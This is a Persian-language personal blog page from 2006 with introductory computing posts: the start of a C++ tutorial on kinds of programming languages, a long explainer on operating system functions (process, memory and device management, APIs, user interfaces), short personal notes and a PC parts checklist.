سری آموزشی c++
نویسنده : Hossein - ساعت ۱٠:٥٦ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 
قسمت اول

انواع زبان های برنامه نويسی

   برنامه نويسان دستورات برنامه نويسی را به زبانهای مختلفی می نويسند. بعضی دستورات مستقيماً برای کامپيوتر قابل فهم می باشند و بعضی نياز به ترجمه دارند. به طور کلی زبانهای برنامه نويسی به سه دسته تقسيم می شوند:

   1- زبانهای ماشين
   2- زبانهای اسمبلی
   3- زبانهای سطح بالا

   هر کامپيوتر زبان ماشين مربوط به خود را دارد که اين زبان بستگی به سخت افزار آن کامپيوتر دارد. زبان ماشين به سختی برای انسان قابل فهم می باشد. به عنوان مثال دستورات زير دو متغيير را با يکديگر جمع کرده و حاصل را در متغيير سومی قرار می دهد.

+1300042774
+1400593419
+1200274027

   با عمومی تر شدن کامپيوتر، زبان ماشين به دليل مشکل بودن فهم دستورات آن و دشوار بودن خطا يابی جای خود را به زبان ديگری به نام زبان اسمبلی داد. اين زبان به جای استفاده از اعداد از کلمات انگليسی که قابل فهمتر برای انسان می باشند استفاده می کند. برنامه مترجمی که دستورات اسمبلی را به زبان قابل فهم توسط کامپيوتر( زبان ماشين) تبديل می کند، اسمبلر می گويند. دستورات زير نيز دو متغيير را با يکديگر جمع کرده و حاصل را در متغيير سومی قرار می دهد.

LOAD   BASEPAY
ADD OVERPAY
STORE GROSSPAY

   با گسترش و پيشرفت کامپيوتر زبان اسمبلی نيز به دليل کند بودن روند برنامه نويسی و دشوار بودن خطا يابی جای خود را به زبانهای سطح بالا داد؛ زبانهای سطح بالا زبانهايی هستند که در ساختار آنها از کلمات، علايم و نمادهای متداول در محاوره استفاده شده است. برنامه های نوشته شده با اين زبانها قبل از اجرا نياز به ترجمه و تفسير دارند تا قابل استفاده توسط کامپيوتر گردند، که اين امر توسط نرم افزارهای ويژه ای به نام کامپايلر انجام می گيرد. کار کردن با اين زبانها ساده است و خطايابی آنها به سهولت انجام می گيرد. از معروفترين زبانهای سطح بالا به پاسکال، C ، بيسيک و ... می توان اشاره کرد. دستورات زير نيز دو متغير را با يکديگر جمع کرده و حاصل را در متغيرسوم قرار می دهد.

grosspay = basepay + overtimepay


 
comment نظرات ()
 
 
کاره اساسی
نویسنده : Hossein - ساعت ۱٠:٥٤ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 
اگه بشه می خوام آموزش c++ رو بزارم

عشقه منه

 
comment نظرات ()
 
 
مطلب آموزشی
نویسنده : Hossein - ساعت ۱:٠٦ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 
اگه مطلب آموزشی داری میل کن برام


powerboy2988@yahoo.com
 
comment نظرات ()
 
 
Ebook
نویسنده : Hossein - ساعت ۱٢:٤٩ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 
کلی مطلبه دیگه دارم که بیشتر Ebook هستش که سعی می کنم فایل دانلودشو بزارم
 
comment نظرات ()
 
 
سيستم عامل
نویسنده : Hossein - ساعت ۱٢:۱٢ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 
نرم افزار

  سيستم عامل 

سيستم عامل بدون شک مهمترين نرم افزار در کامپيوتر است . پس از روشن کردن کامپيوتر اولين نرم افزاری که مشاهده می گردد سيستم عامل بوده و آخرين نرم افزاری که قبل از خاموش کردن کامپيوتر مشاهده خواهد شد، نيز سيستم عامل است . سيستم عامل نرم افزاری است که امکان اجرای تمامی برنامه های کامپيوتری را فراهم می آورد. سيستم عامل با سازماندهی ، مديريت و کنترل منابع سخت افزاری امکان استفاده بهينه و هدفمند آنها را فراهم می آورد. سيتم عامل فلسفه بودن سخت افزار را بدرستی تفسير و در اين راستا امکانات متعدد و ضروری جهت حيات ساير برنامه های کامپيوتری را فراهم می آورد.

تمام کامپيوترها از سيستم عامل استفاده نمی نمايند. مثلا" اجاق های مايکرويو که در آشپزخانه استفاده شده دارای نوع خاصی از کامپيوتر بوده که از سيستم عامل استفاده نمی نمايند. در اين نوع سيستم ها بدليل انجام عمليات محدود و ساده، نيازی به وجود سيستم عامل نخواهد بود. اطلاعات ورودی و خروجی با استفاده از دستگاههائی نظير صفحه کليد و نمايشگرهای LCD ، در اختيار سيستم گذاشته می گردند. ماهيت عمليات انجام شده در يک اجاق گاز مايکروويو بسيار محدود و مختصر است، بنابراين همواره يک برنامه در تمام حالات و اوقات اجراء خواهد شد.

برای سيستم های کامپيوتری که دارای عملکردی بمراتب پيچيده تر از اجاق گاز مايکروويو می باشند، بخدمت گرفتن يک سيستم عامل باعث افزايش کارآئی سيستم و تسهيل در امر پياده سازی برنامه های کامپيوتری می گردد. تمام کامپيوترهای شخصی دارای سيستم عامل می باشند. ويندوز يکی از متداولترين سيستم های عامل است . يونيکس يکی ديگر از سيستم های عامل مهم در اين زمينه است . صدها نوع سيستم عامل تاکنون با توجه به اهداف متفاوت طراحی و عرضه شده است. سيستم های عامل مختص کامپيوترهای بزرگ، سيستم های روبوتيک، سيستم های کنترلی بلادرنگ ، نمونه هائی در اين زمينه می باشند.

سيستم عامل با ساده ترين تحليل و بررسی دو عمليات اساسی را در کامپيوتر انجام می دهد :

- مديريت منابع نرم افزاری و سخت افزاری يک سِستم کامپيوتری را برعهده دارد. پردازنده ، حافظه، فضای ذخيره سازی نمونه هائی از منابع اشاره شده می باشند .

- روشی پايدار و يکسان برای دستيابی و استفاده از سخت افزار را بدو ن نياز از جزئيات عملکرد هر يک از سخت افزارهای موجود را برای برنامه های کامپيوتری فراهم می نمايد

اولين وظيفه يک سيستم عامل، مديريت منابع سخت افزاری و نرم افزاری است . برنامه های متفاوت برای دستيابی به منابع سخت افزاری نظير: پردازنده ، حافظه، دستگاههای ورودی و خروجی، حافطه های جانبی، در رقابتی سخت شرکت خواهند کرد. سيستم های عامل بعنوان يک مدير عادل و مطمئن زمينه استفاده بهينه از منابع موجود را برای هر يک از برنامه های کامپيوتری فراهم می نمايند.

وظيفه دوم يک سيستم عامل ارائه يک رابط ( اينترفيس ) يکسان برای ساير برنامه های کامپيوتری است . در اين حالت زمينه استفاده بيش از يک نوع کامپيوتر از سيستم عامل فراهم شده و در صورت بروز تغييرات در سخت افزار سيستم های کامپيوتری نگرانی خاصی از جهت اجرای برنامه وجود نخواهد داشت، چراکه سيستم عامل بعنوان ميانجی بين برنامه های کامپيوتری و سخت افزار ايفای وظيفه کرده و مسئوليت مديريت منابع سخت افزاری به وی سپرده شده است .برنامه نويسان کامپيوتر نيز با استفاده از نقش سيستم عامل بعنوان يک ميانجی براحتی برنامه های خود را طراحی و پياده سازی کرده و در رابطه با اجرای برنامه های نوشته شده بر روی ساير کامپيوترهای مشابه نگرانی نخواهند داشت . ( حتی اگر ميزان حافظه موجود در دو کامپيوتر مشابه نباشد ) . در صورتيکه سخت افزار يک کامپيوتر بهبود و ارتقاء يابد، سيستم عامل اين تضمين را ايجاد خواهد کرد که برنامه ها، در ادامه بدون بروز اشکال قادر به ادامه حيات وسرويس دهی خود باشند. مسئوليت مديريت منابع سخت افزاری برعهده سيتم عامل خواهد بود نه برنامه های کامپيوتری، بنابراين در زمان ارتقای سخت افزار يک کامپيوتر مسئوليت سيتستم عامل در اين راستا اولويت خواهد داشت . ويندوز 98 يکی از بهترين نمونه ها در اين زمينه است . سيستم عامل فوق بر روی سخت افزارهای متعدد توليد شده توسط توليدکنندگان متفاوت اجراء می گردد. ويندوز 98 قادر به مديريت و استفاده از هزاران نوع چاپگر ديسک و ساير تجهيزات جانبی است .

سيستم های عامل را از بعد نوع کامپيوترهائی که قادر به کنترل آنها بوده و نوع برنامه های کاربردی که قادر به حمايت از آنها می باشند به چهار گروه عمده تقسيم می نمايند.

- سيستم عامل بلادرنگ (RTOS). از اين نوع سيستم های عامل برای کنترل ماشين آلات صنعتی ، تجهيزات علمی و سيستم های صنعتی استفاده می گردد. يک سيستم عامل بلادرنگ دارای امکانات محدود در رابطه با بخش رابط کاربر و برنامه های کاربردی مختص کاربران می باشند. يکی از بخش های مهم اين نوع سيستم های عامل ، مديريت منابع موجود کامپيوتری بگونه ای است که يک عمليات خاص در زمانی که می بايست ، اجراء خواهند شد.

- تک کاربره - تک کاره . همانگونه که از عنوان اين نوع سيستم های عامل مشخص است، آنها بگونه ای طراحی شده اند که قادر به مديريت کامپيوتر بصورتی باشند که يک کاربر در هر لحظه قادر به انجام يک کار باشد. سيستم عامل Palm OS برای کامپيوترهای PDA نمونه ای مناسب از يک سيستم عامل مدرن تک کاربره و تک کاره است .

- تک کاربره - چندکاره . اکثر سيستم های عامل استفاده شده در کامپيوترهای شخصی از اين نوع می باشند. ويندوز 98 و MacOS نمونه هائی در اين زمينه بوده که امکان اجرای چندين برنامه بطور همزمان را برای يک کاربر فراهم می نمايند. مثلا" يک کاربر ويندوز 98 قادر به تايپ يک نامه با استفاده از يک واژه پرداز بوده و در همان زمان اقدام به دريافت يک فايل از اينترنت نموده و در همان وضعيت محتويات نامه الکترونيکی خود را برای چاپ بر روی چاپگر ارسال کرده باشد.

- چندکاربره . يک سيستم عامل چند کاربره ، امکان استفاده همزمان چندين کاربر از منابع موجود کامپيوتر را فراهم می آورند. منابع مورد نياز هر يک از کاربران می بايست توسط سيستم عامل بدرستی مديريت تا در صورت بروز اشکال در منابع تخصيص يافته به يک کاربر، بر روند استفاده ساير کاربران از منابع مورد نظر اختلالی ايجاد نگردد. يونيکس، VMS و سيستم های عامل کامپيوترهای بزرگ نظير MVS نمونه هائی از سيستم های عامل چندکاربره می باشند.

در اينجا لازم است که به تفاوت های موجود سيستم های عامل " چند کاربر " و " تک کاربر" در رابطه با امکانات شبکه ای اشاره گردد. ويندوز 2000 و ناول قادر به حمايت از صدها و هزاران کاربر شبکه می باشند اين نوع سيستم های عامل بعنوان سيستم عامل چند کاربره واقعی در نظر گرفته نمی شوند.

در ادامه با توجه به شناخت مناسب بوجود آمده در دررابطه با انواع سيستم های عامل به عمليات و وظايف سيستم عامل اشاره می گردد.

وظايف سيستم عامل 

پس از روشن نمودن کامپيوتر، لولين برنامه ای که اجراء می گردد ، مجموعه دستوراتی می باشند که در حافظه ROM ذخيره و مسئول بررسی صحت عملکرد امکانات سخت افزاری موجود می باشند. برنامه فوق (POST) ، پردازنده ، حافظه و ساير عناصر سخت افزاری را بررسی خواهد کرد . پس از بررسی موفقيت آميز برنامه POST ، در ادامه درايوهای ( هارد ، فلاپی ) سيستم فعال خواهند شد. در اکثر کامپيوترها ، پس از فعال شدن هارد ديسک ، اولين بخش سيستم عامل با نام Bootstrap Loader فعال خواهد شد. برنامه فوق صرفا" دارای يک وظيفه اساسی است : انتقال ( استقرار ) سيستم عامل در حافظه اصلی و امکان اجرای آن . برنامه فوق عمليات متفاوتی را بمنظور استفرار سيستم عامل در حافظه انجام خواهد داد.

سيستم عامل دارای وظايف زير است :

  • مديريت پردازنده

  • مديريت حافظه

  • مديريت دستگاهها ( ورودی و خروجی )

  • مديريت حافظه جانبی

  • اينترفيس برنامه های کاربردی

  • رابط کاربر

وظايف شش گانه فوق ، هسته عمليات در اکثر سيستم های عامل است . در ادامه به تشريح وظايف فوق اشاره می گردد :

مديريت پردازنده

مديريت پردازنده دو وظيفه مهم اوليه زير را دارد :

  • ايجاد اطمينان که هر پردازه و يا برنامه به ميزان مورد نياز پردازنده را برای تحقق عمليات خود ، اختيار خواهد کرد.

  • استفاده از بيشترين سيکل های پردازنده برای انجام عمليات

ساده ترين واحد نرم افزاری که سيستم عامل بمنظور زمانبندی پردازنده با آن درگير خواهد شد ، يک پردازه و يا يک Thread خواهد بود. موقتا" می توان يک پردازه را مشابه يک برنامه در نظر گرفت ، در چنين حالتی مفهوم فوق ( پردازه ) ، بيانگر يک تصوير واقعی از نحوه پردازش های مرتبط با سيستم عامل و سخت افزار نخواهد بود. برنامه های کامپيوتری ( نظير واژه پردازها ، بازيهای کامپيوتری و ...) در حقيقت خود يک پردازه می باشند ، ولی برنامه های فوق ممکن است از خدمات چندين پردازه ديگر استفاده نمايند. مثلا" ممکن است يک برنامه از پردازه ای بمنظور برقراری ارتباط با ساير دستگاههای موجود در کامپيوتر استفاده نمايد. پردازه های فراوان ديگری نيز وجود دارد که با توجه به ماهيت عمليات مربوطه ، بدون نياز به محرک خارجی ( نظير يک برنامه ) فعاليت های خود را انجام می دهند. يک پردازه ، نرم افزاری است که عمليات خاص و کنترل شده ای را انجام می دهد. کنترل يک پردازه ممکن است توسط کاربر ، ساير برنامه های کاربردی و يا سيستم عامل صورت پذيرد.

سيستم عامل با کنترل و زمانبندی مناسب پردازه ها زمينه استفاده از پردازنده را برای آنان ، فراهم می نمايد. در سيستم های " تک - کاره " ، سيستم زمانبندی بسيار روشن و مشخص است . در چنين مواردی، سيستم عامل امکان اجرای برنامه را فراهم و صرفا" در زمانيکه کاربر اطلاعاتی را وارد و يا سيستم با وقفه ای برخورد نمايد ، روند اجراء متوقف خواهد شد. وقفه ، سيگنال های خاص ارسالی توسط نرم افزار و يا سخت افزار برای پردازنده می باشند. در چنين مواردی منابع صادر کننده وقفه درخواست برقراری يک ارتباط زنده با پردازنده برای اخذ سرويس و يا ساير مسائل بوجود آمده ، را می نمايند. در برخی حالات سيستم عامل پردازه ها را با يک اولويت خاص زمانبندی می نمايد . در چنين حالتی هر يک از پردازه ها با توجه به اولويت نسبت داده شده به آنان ، قادر به استفاده از زمان پردازنده خواهند بود. در اينچنين موارد ، در صورت بروز وقفه ، پردازنده آنها را ناديده گرفته و تا زمان عدم تکميل عمليات مورد نظر توسط پردازنده ، فرصت پرداختن به وقفه ها وجود نخواهد داشت . بديهی است با توجه به نحوه برخورد پردازنده ( عدم توجه به وقفه ها ) ، در سريعترين زمان ممکن عمليات و فعاليت جاری پردازنده به اتمام خواهد رسيد. برخی از وقفه ها با توجه به اهميت خود ( نظير بروز اشکال در حافظه و يا ساير موارد مشابه ) ، قابل اغماص توسط پردازنده نبوده و می بايست صرفنظر از نوع و اهميت فعاليت جاری ، سريعا" به وقفه ارسالی پاسخ مناسب را ارائه گردد.

پردازنده ، با توجه به سياست های اعمال شده سيستم عامل و بر اساس يک الگوريتم خاص ، در اختيار پردازه های متفاوت قرار خواهد گرفت . در چنين مواردی پردازنده مشغول بوده و برای اجراء ، پردازه ای را در اختيار دارد. در زمانيکه پردازنده درگير يک پردازه است ، ممکن است وقفه هائی از منابع متفاوت نرم افزاری و يا سخت افزاری محقق گردد. در چنين وضعيتی با توجه به اهميت و جايگاه يک وقفه ، پردازنده برخی از آنها را ناديده گرفته و همچنان به فعاليت جاری خود ادامه داده و در برخی موارد با توجه به اهميت وقفه ، فعاليت جاری متوقف و سرويس دهی به وقفه آغاز خواهد شد.

در سيستم های عامل " تک - کاره " ، وجود وقفه ها و نحوه مديريت آنها در روند اجرای پردازه ها تاثير و پيچيدگی های خاص خود را از بعد مديريتی بدنبال خواهد داشت . در سيستم های عامل |"چند - کاره " عمليات بمراتب پيچيده تر خواهد بود. در چنين مواردی می بايست اين اعتقاد بوجود آيد که چندين فعاليت بطور همزمان در حال انجام است . عملا" پردازنده در هر لحظه قادر به انجام يک فعاليت است و بديهی است رسيدن به مرز اعتقادی فوق ( چندين فعاليت بطور همزمان ) مستلزم يک مديريت قوی و طی مراحل پيچيده ای خواهد بود. در چنين حالتی لازم است که پردازنده در مدت زمان يک ثانيه هزاران مرتبه از يک پردازه به پردازه ه ديگر سوئيچ تا امکان استفاده چندين پردازه از پردازنده را فراهم نمايد . در ادامه نحوه انجام عمليات فوق ، تشريح می گردد :

  • يک پردازه بخشی از حافظه RAM را اشغال خواهد کرد

  • پس از استفرار بيش از يک پردازه در حافظه ، پردازنده بر اساس يک زمانبندی خاص ، فرصت اجراء را به يکی از پردازه ها خواهد داد.

  • پردازنده ، بر اساس تعداد سيکل های خاصی پردازه را اجراء خواهد کرد .

  • پس ازاتمام تعداد سيکل های مربوطه ، پردازنده وضعيت پردازه ( مقاير ريجسترها و ...) را ذخيره و به پردازه اتمام زمان مربوطه را اعلام می نمايد.

  • پردازنده در ادامه اطلاعات ذخيره شده در رابطه با پردازه ديگر را فعال ( ريجسترها و ...) و زمينه اجرای پردازه دوم فراهم می گردد.

  • پس ازاتمام تعداد سيکل های مربوطه ، پردازنده وضعيت پردازه ( مقاير ريجسترها و ...) را ذخيره و به پردازه اتمام زمان مربوطه را اعلام و مجددا" پردازه اول جهت اجراء فعال خواهد گرديد.

تمام اطلاعات مورد نياز بمنظور مديريت يک پردازه در ساختمان داده ای خاص با نام PCB)Process Control Block) ، نگهداری می گردد. پردازنده در زمان سوئيچ بين پردازه ها ، از آخرين وضعيت هر پردازه با استفاده از اطلاعات ذخيره شده در PCB آگاهی پيدا کرده و در ادامه زمينه اجرای پردازه مورد نظر بر اساس تعداد سيکل های در نظر گرفته شده فراهم خواهد شد. برای هر پردازه يک PCB ايجاد و اطلاعات زير در آن ذخيره خواهد گرديد :

  • يک مشخصه عددی (ID) که نمايانگر پردازه خواهد بود .

  • اشاره گری که نشاندهنده آخرين محل اجرای پردازه است

  • محتويات ريجستر ها

  • وضعيت سوئيچ ها و متغيرهای مربوطه

  • اشاره گره هائی که حد بالا و پايين حافظه مورد نياز پردازه را مشخص خواهد کرد.

  • اولويت پردازه

  • وضعيت دستگاههای ورودی و خروجی مورد نياز پردازه

هر زمان که اطلاعات مربوط به پردازه ای تغيير يابد ، ( پردازه از حالت "آماده " تبديل به حالت "اجراء " و يا از حالت " اجراء " به حالت "انتظار" و يا "آماده " سوئيچ نمايد ) اطلاعات ذخيره شده در PCB استفاده و بهنگام خواهند شد.

عمليات جايگزينی پردازها، بدون نظارت و ارتباط مستقيم کاربر انجام و هر پردازه به ميزان کافی از زمان پردازنده برای اتمام عمليات خود استفاده خواهد کرد. در اين راستا ممکن است ، کاربری قصد اجرای تعداد بسيار زيادی از پردازه ها را بسورت همزمان داشته باشد. در چنين مواردی است ، پردازنده خود نيازمند استفاده از چندين سيکل زمانی برای ذخيره و بازيابی اطلاعات مربوط به هر يک از پردازه ها خواهد بود .در صورتيکه سيستم عامل با دقت طراحی نشده باشد و يا پردازه های زيادی فعاليت خود را آغاز کرده باشند ، مدت زمان زيادی از پردازنده صرف انجام عمليات سوئيچينگ بين پردازها شده و عملا" در روند اجرای پردازها اختلال ايجاد می گردد. وضعيت بوجود آمده فوق را Thrashing می گويند. در چنين مواردی کاربر می بايست نسبت به غيرفعال نمودن برخی از پردازه ها اقدام تا سيستم مجددا" در وضعيت طبيعی قرار گيرد.

يکی از روش هائی که طراحان سيستم عامل از آن استفاده تا امکان ( شانس) تحقق Thrashing را کاهش دهند ، کاهش نياز به پردازه های جديد برای انجام فعاليت های متفاوت است . برخی از سيستم های عامل ازيک " پردازه -lite " با نام Thread استفاده می نمايند. Thread از لحاظ کارآئی همانند يک پردازه معمولی رفتار نموده ولی نيازمند عمليات متفاوت ورودی و خروجی و يا ايجاد ساختمان داده PCB مشابه يک پردازه عادی نخواهد بود. يک پردازه ممکن است باعث اجرای چندين Threads و يا ساير پردازه های ديگر گردد. يک Thread نمی تواند باعث اجرای يک پردازه گردد.

تمام موارد اشاره شده در رابطه با زمانبندی با فرض وجود يک پردازنده مطرح گرديده است . در سيستم هائی که دارای دو و يا بيش از دو پردازنده می باشند ، سيستم عامل حجم عمليات مربوط به هر گردازنده را تنظيم و مناسب ترين روش اجراء برای يک پردازه در نظر گرفته شود . سيستم های عامل نامتقارن ، از يک پردازنده برای انجام عمليات مربوط به سيستم عامل استفاده و پردازه های مربوط به برنامه های کاربردی را بين ساير پردازه ها تقسيم می نمايند. سيستم های عامل متقارن ، عمليات مربوط به خود و عمليات مربوط به ساير پردازه ها را بين پردازه های موجود تقسيم می نمايند. در اين راستا سعی می گردد که توزيع عمليات برای هر يک از پردازه ها بصورت متعادل انجام گردد.

مديريت حافظه و فضای ذخيره سازی

سيستم عامل در رابطه با مديريت حافظه دو عمليات اساسی را انجام خواهد داد :

  • هر پردازه بمنظور اجراء می بايست دارای حافظه مورد نياز و اختصاصی خود باشد .

  • از انواع متفاوتی حافظه در سيستم استفاده تا هر پردازه قادر به اجراء با بالاترين سطح کارآئی باشد.

سيسم های عامل در ابتدا می بايست محدوده های حافظه مورد نياز هر نوع نرم افزار و برنامه های خاص را فراهم نمايند. مثلا" فرض کنيد سيستمی دارای يک مگابايت حافظه اصلی باشد . سيستم عامل کامپيوتر فرضی ، نيازمند 300 کيلو بايت حافظه است . سيستم عامل در بخش انتهائی حافظه مستقر و بهمراه خود درايورهای مورد نياز بمنظور کنترل سخت افزار را نيز مستقر خواهد کرد. درايورهای مورد نظر به 200 کيلو بايت حافظه نياز خواهند داشت . بنابراين پس از استقرار سيستم عامل بطور کامل در حافظه ، 500 کيلو بايت حافظه باقيمانده و از آن برای پردازش برنامه های کاربردی استفاده خواهد شد. زمانيکه برنامه های کاربردی در حافظه مستقر می گردند ، سازماندهی آنها در حافظ بر اساس بلاک هائی خواهد بود که اندازه آنها توسط سيستم عامل مشخص خواهد شد. در صورتيکه اندازه هر بلاک 2 کيلوبايت باشد ، هر يک از برنامه های کاربردی که در حافظه مستقر می گردنند ، تعداد زيادی از بلاک های فوق را (مضربی از دو خواهد بود) ، بخود اختصاص خواهند داد. برنامه ها در بلاک هائی با طول ثابت مستقر می گردند. هر بلاک دارای محدوده های خاص خود بوده که توسط کلمات چهار و يا هشت بايت ايجاد خواهند شد. بلاک ها و محدو ده های فوق اين اطمينان را بوجود خواهند آورد که برنامه ها در محدوده های متداخل مستقر نخواهند شد. پس از پر شدن فضای 500 کيلوبايت اختصاصی برای برنامه های کاربردی ، وضعيت سيستم به چه صورت تبديل خواهد گرديد؟

در اغلب کامپيوترها ، می توان ظرفيت حافظه را ارتقاء و افزايش داد. مثلا" می توان ميزان حافظه RAM موجود را از يک مگابايت به دو مگابايت ارتقاء داد. روش فوق يک راهکار فيزيکی برای افزايش حافظه بوده که در برخی موارد دارای چالش های خاص خود می باشد. در اين زمينه می بايست راهکارهای ديگر نيز مورد بررسی قرار گيرند. اغلب اطلاعات ذخيره شده توسط برنامه ها در حافظه ، در تمام لحظات مورد نياز نخواهد نبود. پردازنده در هر لحظه قادر به دستيابی به يک محل خاص از حافظه است . بنابراين اکثر حجم حافظه در اغلب اوقات غير فابل استفاده است . از طرف ديگر با توجه به اينکه فضای ذخيره سازی حافظه ها ی جانبی نظير ديسک ها بمراتب ارزانتر نسبت به حافظه اصلی است ، می توان با استفاده از مکانيزمهائی اطلاعات موجود در حافظه اصلی را خارج و آنها را موقتا" بر روی هارد ديسک ذخيره نمود. بدين ترتيب فضای حافظه اصلی آزاد و در زمانيکه به اطلاعات ذخيره شده بر روی هارد ديسک نياز باشد ، مجددا" آنها را در حافظه مستقر کرد. روش فوق " مديريت حافظه مجازی " ناميده می شود.

حافطه های ذخيره سازی ديسکی ، يکی از انواع متفاوت حافظه موجود بوده که می بايست توسط سيستم عامل مديريت گردد. حافطه های با سرعت بالای Cache ، حافظه اصلی و حافظه های جانبی نمونه های ديگر از حافظه بوده که توسط سيستم عامل مديريت گردند.

مديريت دستگاهها

دستيابی سيستم عامل به سخت افزارهای موجود از طريقه برنامه های خاصی با نام "درايور" انجام می گيرد. درايور مسئوليت ترجمه بين سيگنال های الکترونيکی زير سيستم های سخت افزاری و زبانهای برنامه نويسی سطح بالا و سيستم عامل و برنامه های کاربردی را برعهده خواهد داشت . مثلا" درايورها اطلاعاتی را که سيستم عامل بصورت يک فايل تعريف و در نظر می گيرد را اخذ و آنها را به مجموعه ای از بيت ها برای ذخيره سازی بر روی حافظه های حانبی و يا مجموعه ای از پالس ها برای ارسال بر روی چاپگر ، ترجمه خواهد کرد.

با توجه به ماهيت عملکرد عناصر سخت افزاری و وجود تنوع در اين زمينه ، درايورهای مربوطه نيز دارای روش های متعدد بمنظور انجام وظايف خود می باشند. اکثر درايورها در زمانيکه به خدمات دستگاه مورد نظر نياز باشد ، استفاده شده و دارای پردازش های يکسانی در زمينه سرويس دهی خواهند بود. سيستم عامل بلاک های با اولويت بالا را به درايورها اختصاص داده تا از اين طريق منابع سخت افزاری قادر به آزادسازی سريع بمنظور استفاده در آينده باشند.

يکی از دلايلی که درايورها از سيستم عامل تفکيک شده اند ، ضرورت افزودن عمليات و خواسته ای حديد برای درايورها است . در چنين حالتی ضرورتی بر اصلاح و يا تغيير سيستم عامل نبوده و با اعمال تغييرات لازم در درايورها می توان همچنان از قابليت های آنها در کنار سيستم عامل موجود استفاده کرد.

مديريت عمليات ورودی و خروجی در کامپيوتر مستلزم استفاده و مديريت " صف ها " و " بافرها " است . بافر ، مکان های خاصی برای ذخيره سازی اطلاعات بصورت مجموعه ای از بيت ها ی ارسالی توسط دستگاهها ( نظير صفحه کليد و يا يک پورت سريال ) و نگهداری اطلاعات فوق و ارسال آنها برای پردازنده در زمان مورد نظر و خواسته شده است . عمليات فوق در موارديکه چندين پردازنده در وضعيت اجراء بوده و زمان پردازنده را بخود اختصاص داده اند ، بسيار حائز اهميت است . سيستم عامل با استفاده از يک بافر قادر به دريافت اطلاعات ارسالی توسط دستگاه مورد نظر است . ارسال اطلاعات ذخيره شده برای پردازنده پس از غير فعال شدن پردازه مربوطه ، متوقف خواهد شد. در صورتيکه مجددا" پردازه به اطلاعات ورودی نياز داشته باشد ، دستگاه فعال و سيستم عامل دستوراتی را صادر تا بافر اطلاعات مربوطه را ارسال دارد. فرآيند فوق اين امکان را به صفحه کليد يا مودم خواهد داد تا با سرعت مناسب خدمات خود را همچنان ادامه دهند ( ولواينکه پردازنده در آن زمان خاص مشغول باشد).

مديريت تمام منابع موجود در يک سيستم کامپيوتری ، يکی از مهمترين و گسترده ترين وظايف يک سيستم عامل است .

ارتباط سيستم با دنيای خارج

اينترفيس برنامه ها

سيستم عامل در رابطه با اجرای برنامه های کامپيوتری خدمات فراوانی را ارائه می نمايد. برنامه نويسان و پياده کنندگان نرم افزار می توانند از امکانات فراهم شده توسط سيستم های عامل استفاده و بدون اينکه نگران و يا درگير جزئيات عمليات در سيستم باشند ، از خدمات مربوطه استفاده نمايند. برنامه نويسان با استفاده از API)Application program interface) ، قادر به استفاده از خدمات ارائه شده توسط سيستم های عامل در رابطه با طراحی و پياده سازی نرم افزار می باشند. در ادامه بمنظور بررسی جايگاه API به بررسی مثالی پرداخته خواهد شد که هدف ايجاد يک فايل بر روی هارد ديسک برای ذخيره سازی اطلاعات است .

برنامه نويسی ، برنامه ای را نوشته که بکمک آن قادر به ذخيره سازی داده های ارسالی توسط يک دستگاه کنترل علمی است . سيستم عامل يک تابع API با نام MakeFile را بمنظور ايجاد فايل در اختيار برنامه نويس قرار می دهد. برنامه نويس در زمان نوشتن برنامه از دستوری مشابه زير استفاده می نمايد :

MakeFile [1,%Name,2]

دستورالعمل فوق به سيستم عامل خواهد گفت که فايلی را ايجاد که شيوه دستيابی به داده های آن بصورت تصادفی ( عدد يک بعنوان اولين پارامتر ) ، دارای نام مشخص شده توسط کاربر (Name%) و دارای طولی متغير است . ( عدد 2 ، بعنوان سومين پارامتر) سيستم عامل دستور فوق را بصورت زير انجام خواهد داد :

● سيستم عامل درخواستی برای هارد ارسال تا اولين مکان آزاد قابل استفاده مشخص گردد.

● با توجه به اطلاعات ارسالی ، سيستم عامل يک entry در سيستم فايل مربوطه ايجاد و ابتدا و انتهای فايل ، نام فايل ، نوع فايل ، تاريخ و زمان ايجاد فايل و ساير اطلاعات ضروری را ذخيره خواهد کرد.

● سيستم عامل اطلاعاتی را در ابتدای فايل بمنظور مشخص کردن فايل ، تنظيمات مربوط به شيوه دستيابی به فايل و ساير اطلاعات مورد نياز را خواهد نوشت .

در چنين حالتی برنامه نويس از تابع فوق برای ايجاد و ذخيره سازی فايل استفاده نموده و ضرورتی بر نوشتن کدها ، نوع داده ها و کدهای پاسخ برای هر نوع هارد ديسک نخواهد بود. سيستم عامل از امکانات درايورها استفاده و درايورها مسئول برقراری ارتباط با منابع سخت افزاری خواهند بود. در چنين حالتی برنامه نويس بسادگی از تابع مورد نظر استفاده و ادامه عمليات توسط سيستم عامل انجام خواهد شد.

امکانات ارائه شده توسط سيستم های عامل در قالب مجموعه ای از توابع و امکانات API يکی از موارد بسيار مهم استفاده از سيستم عامل از ديدگاه طراحان و پياده کنندگان نرم افزار است .

اينترفيس کاربر

API يک روش يکسان برای برنامه های کامپيوتری بمنظور استفاده از منابع موجود در يک سيستم کامپيوتری را فراهم می نمايد. بخش رابط کاربر (UI) ، يک ساختار مناسب ارتباطی بين کاربر و کامپيوتر را فراهم می آورد. اکثر سيستم های عامل از رابط های گرافيکی در اين زمينه استفاده می نمايند. بخش رابط کاربر هر سيستم عامل شامل يک و يا مجموعه ای از برنامه های کامپيوتری است که بصورت يک لايه در بالاترين سطح يک سيستم عامل و در ارتباط با کاربر مستقر می گردند. برخی از سيستم های عامل از رابط های گرافيکی ( نظير ويندوز ) و برخی ديگر از رابط های مبتنی بر متن ( نظير سيستم عامل DOS ) استفاده می نمايند.


 
comment نظرات ()
 
 
ليست قطعات كامپيوتر
نویسنده : Hossein - ساعت ۱٢:۱٠ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 


ليست قطعات كامپيوتر

آنچه در زير مشاهده مي كنيد يك چك ليست از از قطعاتي است كه معمولاً در يك كامپيوتر يافت مي شود. در مقابل قطعاتي كه بدون آنها هم كامپيوتر بدون مشكل كار مي كند، در داخل پرانتز نوشته شده است انتخابي. موفق باشيد.

 

  • __ كيس ATX يا mid-tower

  • __ مادربرد ATX

  • __ CPU همراه با فن و Heatsink

  • __ RAM

  • __ كارت گرافيك

  • __ كارت صدا

  • __ Hard drive(يكي يا بيشتر)

  • __ اسپيكر ها

